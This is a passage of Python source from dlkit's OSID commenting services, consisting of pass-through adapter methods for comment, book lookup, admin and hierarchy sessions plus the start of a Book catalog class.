return self._get_provider_session('comment_book_session').get_comment_ids_by_book(*args, **kwargs)
def get_comments_by_book(self, *args, **kwargs):
"""Pass through to provider CommentBookSession.get_comments_by_book"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinSession.get_resources_by_bin
return self._get_provider_session('comment_book_session').get_comments_by_book(*args, **kwargs)
def get_comment_ids_by_books(self, *args, **kwargs):
"""Pass through to provider CommentBookSession.get_comment_ids_by_books"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinSession.get_resource_ids_by_bins
return self._get_provider_session('comment_book_session').get_comment_ids_by_books(*args, **kwargs)
def get_comments_by_books(self, *args, **kwargs):
"""Pass through to provider CommentBookSession.get_comments_by_books"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinSession.get_resources_by_bins
return self._get_provider_session('comment_book_session').get_comments_by_books(*args, **kwargs)
def get_book_ids_by_comment(self, *args, **kwargs):
"""Pass through to provider CommentBookSession.get_book_ids_by_comment"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinSession.get_bin_ids_by_resource
return self._get_provider_session('comment_book_session').get_book_ids_by_comment(*args, **kwargs)
def get_books_by_comment(self, *args, **kwargs):
"""Pass through to provider CommentBookSession.get_books_by_comment"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinSession.get_bins_by_resource
catalogs = self._get_provider_session('comment_book_session').get_books_by_comment(*args, **kwargs)
cat_list = []
for cat in catalogs:
cat_list.append(Book(self._provider_manager, cat, self._runtime, self._proxy))
return BookList(cat_list)
##
# The following methods are from osid.commenting.CommentBookAssignmentSession
def can_assign_comments(self):
"""Pass through to provider CommentBookAssignmentSession.can_assign_comments"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinAssignmentSession.can_assign_resources
return self._get_provider_session('comment_book_assignment_session').can_assign_comments()
def can_assign_comments_to_book(self, *args, **kwargs):
"""Pass through to provider CommentBookAssignmentSession.can_assign_comments_to_book"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinAssignmentSession.can_assign_resources_to_bin
return self._get_provider_session('comment_book_assignment_session').can_assign_comments_to_book(*args, **kwargs)
def get_assignable_book_ids(self, *args, **kwargs):
"""Pass through to provider CommentBookAssignmentSession.get_assignable_book_ids"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinAssignmentSession.get_assignable_bin_ids
return self._get_provider_session('comment_book_assignment_session').get_assignable_book_ids(*args, **kwargs)
def get_assignable_book_ids_for_comment(self, *args, **kwargs):
"""Pass through to provider CommentBookAssignmentSession.get_assignable_book_ids_for_comment"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinAssignmentSession.get_assignable_bin_ids_for_resource
return self._get_provider_session('comment_book_assignment_session').get_assignable_book_ids_for_comment(*args, **kwargs)
def assign_comment_to_book(self, *args, **kwargs):
"""Pass through to provider CommentBookAssignmentSession.assign_comment_to_book"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinAssignmentSession.assign_resource_to_bin
self._get_provider_session('comment_book_assignment_session').assign_comment_to_book(*args, **kwargs)
def unassign_comment_from_book(self, *args, **kwargs):
"""Pass through to provider CommentBookAssignmentSession.unassign_comment_from_book"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinAssignmentSession.unassign_resource_from_bin
self._get_provider_session('comment_book_assignment_session').unassign_comment_from_book(*args, **kwargs)
def reassign_comment_to_book(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
##
# The following methods are from osid.commenting.BookLookupSession
def can_lookup_books(self):
"""Pass through to provider BookLookupSession.can_lookup_books"""
# Implemented from kitosid template for -
# osid.resource.BinLookupSession.can_lookup_bins_template
return self._get_provider_session('book_lookup_session').can_lookup_books()
def get_book(self, *args, **kwargs):
"""Pass through to provider BookLookupSession.get_book"""
# Implemented from kitosid template for -
# osid.resource.BinLookupSession.get_bin
return Book(
self._provider_manager,
self._get_provider_session('book_lookup_session').get_book(*args, **kwargs),
self._runtime,
self._proxy)
def get_books_by_ids(self, *args, **kwargs):
"""Pass through to provider BookLookupSession.get_books_by_ids"""
# Implemented from kitosid template for -
# osid.resource.BinLookupSession.get_bins_by_ids
catalogs = self._get_provider_session('book_lookup_session').get_books_by_ids(*args, **kwargs)
cat_list = []
for cat in catalogs:
cat_list.append(Book(self._provider_manager, cat, self._runtime, self._proxy))
return BookList(cat_list)
def get_books_by_genus_type(self, *args, **kwargs):
"""Pass through to provider BookLookupSession.get_books_by_genus_type"""
# Implemented from kitosid template for -
# osid.resource.BinLookupSession.get_bins_by_genus_type
catalogs = self._get_provider_session('book_lookup_session').get_books_by_genus_type(*args, **kwargs)
cat_list = []
for cat in catalogs:
cat_list.append(Book(self._provider_manager, cat, self._runtime, self._proxy))
return BookList(cat_list)
def get_books_by_parent_genus_type(self, *args, **kwargs):
"""Pass through to provider BookLookupSession.get_books_by_parent_genus_type"""
# Implemented from kitosid template for -
# osid.resource.BinLookupSession.get_bins_by_parent_genus_type
catalogs = self._get_provider_session('book_lookup_session').get_books_by_parent_genus_type(*args, **kwargs)
cat_list = []
for cat in catalogs:
cat_list.append(Book(self._provider_manager, cat, self._runtime, self._proxy))
return BookList(cat_list)
def get_books_by_record_type(self, *args, **kwargs):
"""Pass through to provider BookLookupSession.get_books_by_record_type"""
# Implemented from kitosid template for -
# osid.resource.BinLookupSession.get_bins_by_record_type
catalogs = self._get_provider_session('book_lookup_session').get_books_by_record_type(*args, **kwargs)
cat_list = []
for cat in catalogs:
cat_list.append(Book(self._provider_manager, cat, self._runtime, self._proxy))
return BookList(cat_list)
def get_books_by_provider(self, *args, **kwargs):
"""Pass through to provider BookLookupSession.get_books_by_provider"""
# Implemented from kitosid template for -
# osid.resource.BinLookupSession.get_bins_by_provider
catalogs = self._get_provider_session('book_lookup_session').get_books_by_provider(*args, **kwargs)
cat_list = []
for cat in catalogs:
cat_list.append(Book(self._provider_manager, cat, self._runtime, self._proxy))
return BookList(cat_list)
def get_books(self):
"""Pass through to provider BookLookupSession.get_books"""
# Implemented from kitosid template for -
# osid.resource.BinLookupSession.get_bins_template
catalogs = self._get_provider_session('book_lookup_session').get_books()
cat_list = []
for cat in catalogs:
cat_list.append(Book(self._provider_manager, cat, self._runtime, self._proxy))
return BookList(cat_list)
books = property(fget=get_books)
##
# The following methods are from osid.commenting.BookAdminSession
def can_create_books(self):
"""Pass through to provider BookAdminSession.can_create_books"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.can_create_bins
return self._get_provider_session('book_admin_session').can_create_books()
def can_create_book_with_record_types(self, *args, **kwargs):
"""Pass through to provider BookAdminSession.can_create_book_with_record_types"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.can_create_bin_with_record_types
return self._get_provider_session('book_admin_session').can_create_book_with_record_types(*args, **kwargs)
def get_book_form_for_create(self, *args, **kwargs):
"""Pass through to provider BookAdminSession.get_book_form_for_create"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.get_bin_form_for_create
return self._get_provider_session('book_admin_session').get_book_form_for_create(*args, **kwargs)
def create_book(self, *args, **kwargs):
"""Pass through to provider BookAdminSession.create_book"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.create_bin
return Book(
self._provider_manager,
self._get_provider_session('book_admin_session').create_book(*args, **kwargs),
self._runtime,
self._proxy)
def can_update_books(self):
"""Pass through to provider BookAdminSession.can_update_books"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.can_update_bins
return self._get_provider_session('book_admin_session').can_update_books()
def get_book_form_for_update(self, *args, **kwargs):
"""Pass through to provider BookAdminSession.get_book_form_for_update"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.get_bin_form_for_update
return self._get_provider_session('book_admin_session').get_book_form_for_update(*args, **kwargs)
def get_book_form(self, *args, **kwargs):
"""Pass through to provider BookAdminSession.get_book_form_for_update"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.get_bin_form_for_update_template
# This method might be a bit sketchy. Time will tell.
if isinstance(args[-1], list) or 'book_record_types' in kwargs:
return self.get_book_form_for_create(*args, **kwargs)
else:
return self.get_book_form_for_update(*args, **kwargs)
def update_book(self, *args, **kwargs):
"""Pass through to provider BookAdminSession.update_book"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.update_bin
# OSID spec does not require returning updated catalog
return Book(
self._provider_manager,
self._get_provider_session('book_admin_session').update_book(*args, **kwargs),
self._runtime,
self._proxy)
def save_book(self, book_form, *args, **kwargs):
"""Pass through to provider BookAdminSession.update_book"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.update_bin
if book_form.is_for_update():
return self.update_book(book_form, *args, **kwargs)
else:
return self.create_book(book_form, *args, **kwargs)
def can_delete_books(self):
"""Pass through to provider BookAdminSession.can_delete_books"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.can_delete_bins
return self._get_provider_session('book_admin_session').can_delete_books()
def delete_book(self, *args, **kwargs):
"""Pass through to provider BookAdminSession.delete_book"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.delete_bin
self._get_provider_session('book_admin_session').delete_book(*args, **kwargs)
def can_manage_book_aliases(self):
"""Pass through to provider BookAdminSession.can_manage_book_aliases"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.can_manage_resource_aliases_template
return self._get_provider_session('book_admin_session').can_manage_book_aliases()
def alias_book(self, *args, **kwargs):
"""Pass through to provider BookAdminSession.alias_book"""
# Implemented from kitosid template for -
# osid.resource.BinAdminSession.alias_bin
self._get_provider_session('book_admin_session').alias_book(*args, **kwargs)
##
# The following methods are from osid.commenting.BookHierarchySession
def get_book_hierarchy_id(self):
"""Pass through to provider BookHierarchySession.get_book_hierarchy_id"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.get_bin_hierarchy_id
return self._get_provider_session('book_hierarchy_session').get_book_hierarchy_id()
book_hierarchy_id = property(fget=get_book_hierarchy_id)
def get_book_hierarchy(self):
"""Pass through to provider BookHierarchySession.get_book_hierarchy"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.get_bin_hierarchy
return self._get_provider_session('book_hierarchy_session').get_book_hierarchy()
book_hierarchy = property(fget=get_book_hierarchy)
def can_access_book_hierarchy(self):
"""Pass through to provider BookHierarchySession.can_access_book_hierarchy"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.can_access_bin_hierarchy
return self._get_provider_session('book_hierarchy_session').can_access_book_hierarchy()
def get_root_book_ids(self):
"""Pass through to provider BookHierarchySession.get_root_book_ids"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.get_root_bin_ids
return self._get_provider_session('book_hierarchy_session').get_root_book_ids()
root_book_ids = property(fget=get_root_book_ids)
def get_root_books(self):
"""Pass through to provider BookHierarchySession.get_root_books"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.get_root_bins
return self._get_provider_session('book_hierarchy_session').get_root_books()
root_books = property(fget=get_root_books)
def has_parent_books(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.has_parent_books"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.has_parent_bins
return self._get_provider_session('book_hierarchy_session').has_parent_books(*args, **kwargs)
def is_parent_of_book(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.is_parent_of_book"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.is_parent_of_bin
return self._get_provider_session('book_hierarchy_session').is_parent_of_book(*args, **kwargs)
def get_parent_book_ids(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.get_parent_book_ids"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.get_parent_bin_ids
return self._get_provider_session('book_hierarchy_session').get_parent_book_ids(*args, **kwargs)
def get_parent_books(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.get_parent_books"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.get_parent_bins
return self._get_provider_session('book_hierarchy_session').get_parent_books(*args, **kwargs)
def is_ancestor_of_book(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.is_ancestor_of_book"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.is_ancestor_of_bin
return self._get_provider_session('book_hierarchy_session').is_ancestor_of_book(*args, **kwargs)
def has_child_books(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.has_child_books"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.has_child_bins
return self._get_provider_session('book_hierarchy_session').has_child_books(*args, **kwargs)
def is_child_of_book(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.is_child_of_book"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.is_child_of_bin
return self._get_provider_session('book_hierarchy_session').is_child_of_book(*args, **kwargs)
def get_child_book_ids(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.get_child_book_ids"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.get_child_bin_ids
return self._get_provider_session('book_hierarchy_session').get_child_book_ids(*args, **kwargs)
def get_child_books(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.get_child_books"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.get_child_bins
return self._get_provider_session('book_hierarchy_session').get_child_books(*args, **kwargs)
def is_descendant_of_book(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.is_descendant_of_book"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.is_descendant_of_bin
return self._get_provider_session('book_hierarchy_session').is_descendant_of_book(*args, **kwargs)
def get_book_node_ids(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.get_book_node_ids"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.get_bin_node_ids
return self._get_provider_session('book_hierarchy_session').get_book_node_ids(*args, **kwargs)
def get_book_nodes(self, *args, **kwargs):
"""Pass through to provider BookHierarchySession.get_book_nodes"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchySession.get_bin_nodes
return self._get_provider_session('book_hierarchy_session').get_book_nodes(*args, **kwargs)
##
# The following methods are from osid.commenting.BookHierarchyDesignSession
def can_modify_book_hierarchy(self):
"""Pass through to provider BookHierarchyDesignSession.can_modify_book_hierarchy"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchyDesignSession.can_modify_bin_hierarchy
return self._get_provider_session('book_hierarchy_design_session').can_modify_book_hierarchy()
def create_book_hierarchy(self, *args, **kwargs):
"""Pass through to provider BookHierarchyDesignSession.can_modify_book_hierarchy"""
# Patched in by cjshaw@mit.edu, Jul 23, 2014, added by birdland to template on Aug 8, 2014
# Is not part of specs for catalog hierarchy design sessions, but may want to be in hierarchy service instead
# Will not return an actual object, just JSON
# since a BankHierarchy does not seem to be an OSID thing.
return self._get_provider_session('book_hierarchy_design_session').create_book_hierarchy(*args, **kwargs)
def delete_book_hierarchy(self, *args, **kwargs):
"""Pass through to provider BookHierarchyDesignSession.can_modify_book_hierarchy"""
# Patched in by cjshaw@mit.edu, Jul 23, 2014, added by birdland to template on Aug 8, 2014
# Is not part of specs for catalog hierarchy design sessions, but may want to be in hierarchy service instead
# Will not return an actual object, just JSON
# since a BankHierarchy does not seem to be an OSID thing.
return self._get_provider_session('book_hierarchy_design_session').delete_book_hierarchy(*args, **kwargs)
def add_root_book(self, *args, **kwargs):
"""Pass through to provider BookHierarchyDesignSession.add_root_book"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchyDesignSession.add_root_bin
self._get_provider_session('book_hierarchy_design_session').add_root_book(*args, **kwargs)
def remove_root_book(self, *args, **kwargs):
"""Pass through to provider BookHierarchyDesignSession.remove_root_book"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchyDesignSession.remove_root_bin
self._get_provider_session('book_hierarchy_design_session').remove_root_book(*args, **kwargs)
def add_child_book(self, *args, **kwargs):
"""Pass through to provider BookHierarchyDesignSession.add_child_book"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchyDesignSession.add_child_bin
self._get_provider_session('book_hierarchy_design_session').add_child_book(*args, **kwargs)
def remove_child_book(self, *args, **kwargs):
"""Pass through to provider BookHierarchyDesignSession.remove_child_book"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchyDesignSession.remove_child_bin
self._get_provider_session('book_hierarchy_design_session').remove_child_book(*args, **kwargs)
def remove_child_books(self, *args, **kwargs):
"""Pass through to provider BookHierarchyDesignSession.remove_child_books"""
# Implemented from kitosid template for -
# osid.resource.BinHierarchyDesignSession.remove_child_bins
self._get_provider_session('book_hierarchy_design_session').remove_child_books(*args, **kwargs)
class CommentingProxyManager(osid.OsidProxyManager, CommentingProfile, commenting_managers.CommentingProxyManager):
"""CommentingProxyManager convenience adapter including related Session methods."""
def get_comment_lookup_session(self, *args, **kwargs):
"""Sends control to Manager"""
# Implemented from kitosid template for -
# osid.resource.ResourceProxyManager.get_resource_lookup_session_template
return CommentingManager.get_comment_lookup_session(*args, **kwargs)
def get_comment_lookup_session_for_book(self, *args, **kwargs):
"""Sends control to Manager"""
# Implemented from kitosid template for -
# osid.resource.ResourceProxyManager.get_resource_lookup_session_for_bin_template
return CommentingManager.get_comment_lookup_session_for_book(*args, **kwargs)
def get_comment_query_session(self, *args, **kwargs):
"""Sends control to Manager"""
# Implemented from kitosid template for -
# osid.resource.ResourceProxyManager.get_resource_lookup_session_template
return CommentingManager.get_comment_query_session(*args, **kwargs)
def get_comment_query_session_for_book(self, *args, **kwargs):
"""Sends control to Manager"""
# Implemented from kitosid template for -
# osid.resource.ResourceProxyManager.get_resource_lookup_session_for_bin_template
return CommentingManager.get_comment_query_session_for_book(*args, **kwargs)
def get_comment_admin_session(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comment_admin_session_for_book(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comment_book_session(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comment_book_assignment_session(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_book_lookup_session(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_book_admin_session(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_book_hierarchy_session(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_book_hierarchy_design_session(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_commenting_batch_proxy_manager(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services')
commenting_batch_proxy_manager = property(fget=get_commenting_batch_proxy_manager)
class Book(abc_commenting_objects.Book, osid.OsidSession, osid.OsidCatalog):
"""Book convenience adapter including related Session methods."""
# WILL THIS EVER BE CALLED DIRECTLY - OUTSIDE OF A MANAGER?
def __init__(self, provider_manager, catalog, runtime, proxy, **kwargs):
self._provider_manager = provider_manager
self._catalog = catalog
self._runtime = runtime
osid.OsidObject.__init__(self, self._catalog) # This is to initialize self._object
osid.OsidSession.__init__(self, proxy) # This is to initialize self._proxy
self._catalog_id = catalog.get_id()
self._provider_sessions = kwargs
self._session_management = AUTOMATIC
self._book_view = DEFAULT
self._object_views = dict()
self._operable_views = dict()
self._containable_views = dict()
def _set_book_view(self, session):
"""Sets the underlying book view to match current view"""
if self._book_view == FEDERATED:
try:
session.use_federated_book_view()
except AttributeError:
pass
else:
try:
session.use_isolated_book_view()
except AttributeError:
pass
def _set_object_view(self, session):
"""Sets the underlying object views to match current view"""
for obj_name in self._object_views:
if self._object_views[obj_name] == PLENARY:
try:
getattr(session, 'use_plenary_' + obj_name + '_view')()
except AttributeError:
pass
else:
try:
getattr(session, 'use_comparative_' + obj_name + '_view')()
except AttributeError:
pass
def _set_operable_view(self, session):
"""Sets the underlying operable views to match current view"""
for obj_name in self._operable_views:
if self._operable_views[obj_name] == ACTIVE:
try:
getattr(session, 'use_active_' + obj_name + '_view')()
except AttributeError:
pass
else:
try:
getattr(session, 'use_any_status_' + obj_name + '_view')()
except AttributeError:
pass
def _set_containable_view(self, session):
"""Sets the underlying containable views to match current view"""
for obj_name in self._containable_views:
if self._containable_views[obj_name] == SEQUESTERED:
try:
getattr(session, 'use_sequestered_' + obj_name + '_view')()
except AttributeError:
pass
else:
try:
getattr(session, 'use_unsequestered_' + obj_name + '_view')()
except AttributeError:
pass
def _get_provider_session(self, session_name):
"""Returns the requested provider session.
Instantiates a new one if the named session is not already known.
"""
agent_key = self._get_agent_key()
if session_name in self._provider_sessions[agent_key]:
return self._provider_sessions[agent_key][session_name]
else:
session_class = getattr(self._provider_manager, 'get_' + session_name + '_for_book')
if self._proxy is None:
if 'notification_session' in session_name:
# Is there something else we should do about the receiver field?
session = session_class('fake receiver', self._catalog.get_id())
else:
session = session_class(self._catalog.get_id())
else:
if 'notification_session' in session_name:
# Is there something else we should do about the receiver field?
session = session_class('fake receiver', self._catalog.get_id(), self._proxy)
else:
session = session_class(self._catalog.get_id(), self._proxy)
self._set_book_view(session)
self._set_object_view(session)
self._set_operable_view(session)
self._set_containable_view(session)
if self._session_management != DISABLED:
self._provider_sessions[agent_key][session_name] = session
return session
def get_book_id(self):
"""Gets the Id of this book."""
return self._catalog_id
def get_book(self):
"""Strange little method to assure conformance for inherited Sessions."""
return self
def __getattr__(self, name):
if '_catalog' in self.__dict__:
try:
return self._catalog[name]
except AttributeError:
pass
raise AttributeError
def close_sessions(self):
"""Close all sessions currently being managed by this Manager to save memory."""
if self._session_management != MANDATORY:
self._provider_sessions = dict()
else:
raise IllegalState()
def use_automatic_session_management(self):
"""Session state will be saved until closed by consumers."""
self._session_management = AUTOMATIC
def use_mandatory_session_management(self):
"""Session state will always be saved and can not be closed by consumers."""
# Session state will be saved and can not be closed by consumers
self._session_management = MANDATORY
def disable_session_management(self):
"""Session state will never be saved."""
self._session_management = DISABLED
self.close_sessions()
def get_book_record(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
##
# The following methods are from osid.commenting.CommentLookupSession
def can_lookup_comments(self):
"""Pass through to provider CommentLookupSession.can_lookup_comments"""
# Implemented from kitosid template for -
# osid.resource.ResourceLookupSession.can_lookup_resources_template
return self._get_provider_session('comment_lookup_session').can_lookup_comments()
def use_comparative_comment_view(self):
"""Pass through to provider CommentLookupSession.use_comparative_comment_view"""
self._object_views['comment'] = COMPARATIVE
# self._get_provider_session('comment_lookup_session') # To make sure the session is tracked
for session in self._get_provider_sessions():
try:
session.use_comparative_comment_view()
except AttributeError:
pass
def use_plenary_comment_view(self):
"""Pass through to provider CommentLookupSession.use_plenary_comment_view"""
self._object_views['comment'] = PLENARY
# self._get_provider_session('comment_lookup_session') # To make sure the session is tracked
for session in self._get_provider_sessions():
try:
session.use_plenary_comment_view()
except AttributeError:
pass
def use_federated_book_view(self):
"""Pass through to provider CommentLookupSession.use_federated_book_view"""
self._book_view = FEDERATED
# self._get_provider_session('comment_lookup_session') # To make sure the session is tracked
for session in self._get_provider_sessions():
try:
session.use_federated_book_view()
except AttributeError:
pass
def use_isolated_book_view(self):
"""Pass through to provider CommentLookupSession.use_isolated_book_view"""
self._book_view = ISOLATED
# self._get_provider_session('comment_lookup_session') # To make sure the session is tracked
for session in self._get_provider_sessions():
try:
session.use_isolated_book_view()
except AttributeError:
pass
def use_effective_comment_view(self):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services')
def use_any_effective_comment_view(self):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services')
def get_comment(self, *args, **kwargs):
"""Pass through to provider CommentLookupSession.get_comment"""
# Implemented from kitosid template for -
# osid.resource.ResourceLookupSession.get_resource_template
return self._get_provider_session('comment_lookup_session').get_comment(*args, **kwargs)
def get_comments_by_ids(self, *args, **kwargs):
"""Pass through to provider CommentLookupSession.get_comments_by_ids"""
# Implemented from kitosid template for -
# osid.resource.ResourceLookupSession.get_resources_by_ids_template
return self._get_provider_session('comment_lookup_session').get_comments_by_ids(*args, **kwargs)
def get_comments_by_genus_type(self, *args, **kwargs):
"""Pass through to provider CommentLookupSession.get_comments_by_genus_type"""
# Implemented from kitosid template for -
# osid.resource.ResourceLookupSession.get_resources_by_genus_type_template
return self._get_provider_session('comment_lookup_session').get_comments_by_genus_type(*args, **kwargs)
def get_comments_by_parent_genus_type(self, *args, **kwargs):
"""Pass through to provider CommentLookupSession.get_comments_by_parent_genus_type"""
# Implemented from kitosid template for -
# osid.resource.ResourceLookupSession.get_resources_by_parent_genus_type_template
return self._get_provider_session('comment_lookup_session').get_comments_by_parent_genus_type(*args, **kwargs)
def get_comments_by_record_type(self, *args, **kwargs):
"""Pass through to provider CommentLookupSession.get_comments_by_record_type"""
# Implemented from kitosid template for -
# osid.resource.ResourceLookupSession.get_resources_by_record_type_template
return self._get_provider_session('comment_lookup_session').get_comments_by_record_type(*args, **kwargs)
def get_comments_on_date(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_by_genus_type_on_date(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_for_commentor(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_for_commentor_on_date(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_by_genus_type_for_commentor(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_by_genus_type_for_commentor_on_date(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_for_reference(self, *args, **kwargs):
"""Pass through to provider CommentLookupSession.get_comments_for_reference"""
# Implemented from kitosid template for -
# osid.relationship.RelationshipLookupSession.get_relationships_for_source_template
return self._get_provider_session('comment_lookup_session').get_comments_for_reference(*args, **kwargs)
def get_comments_for_reference_on_date(self, *args, **kwargs):
"""Pass through to provider CommentLookupSession.get_comments_for_reference_on_date"""
# Implemented from kitosid template for -
# osid.relationship.RelationshipLookupSession.get_relationships_for_source_on_date_template
return self._get_provider_session('comment_lookup_session').get_comments_for_reference_on_date(*args, **kwargs)
def get_comments_by_genus_type_for_reference(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_by_genus_type_for_reference_on_date(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_for_commentor_and_reference(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_for_commentor_and_reference_on_date(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_by_genus_type_for_commentor_and_reference(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments_by_genus_type_for_commentor_and_reference_on_date(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services - args=' + str(args) + ', kwargs=' + str(kwargs))
def get_comments(self):
"""Pass through to provider CommentLookupSession.get_comments"""
# Implemented from kitosid template for -
# osid.resource.ResourceLookupSession.get_resources_template
return self._get_provider_session('comment_lookup_session').get_comments()
comments = property(fget=get_comments)
##
# The following methods are from osid.commenting.CommentQuerySession
def can_search_comments(self):
"""Pass through to provider CommentQuerySession.can_search_comments"""
# Implemented from kitosid template for -
# osid.resource.ResourceQuerySession.can_search_resources_template
return self._get_provider_session('comment_query_session').can_search_comments()
def get_comment_query(self):
"""Pass through to provider CommentQuerySession.get_comment_query"""
# Implemented from kitosid template for -
# osid.resource.ResourceQuerySession.get_item_query_template
return self._get_provider_session('comment_query_session').get_comment_query()
comment_query = property(fget=get_comment_query)
def get_comments_by_query(self, *args, **kwargs):
"""Pass through to provider CommentQuerySession.get_comments_by_query"""
# Implemented from kitosid template for -
# osid.resource.ResourceQuerySession.get_items_by_query_template
return self._get_provider_session('comment_query_session').get_comments_by_query(*args, **kwargs)
##
# The following methods are from osid.commenting.CommentAdminSession
def can_create_comments(self):
"""Pass through to provider CommentAdminSession.can_create_comments"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.can_create_resources
return self._get_provider_session('comment_admin_session').can_create_comments()
def can_create_comment_with_record_types(self, *args, **kwargs):
"""Pass through to provider CommentAdminSession.can_create_comment_with_record_types"""
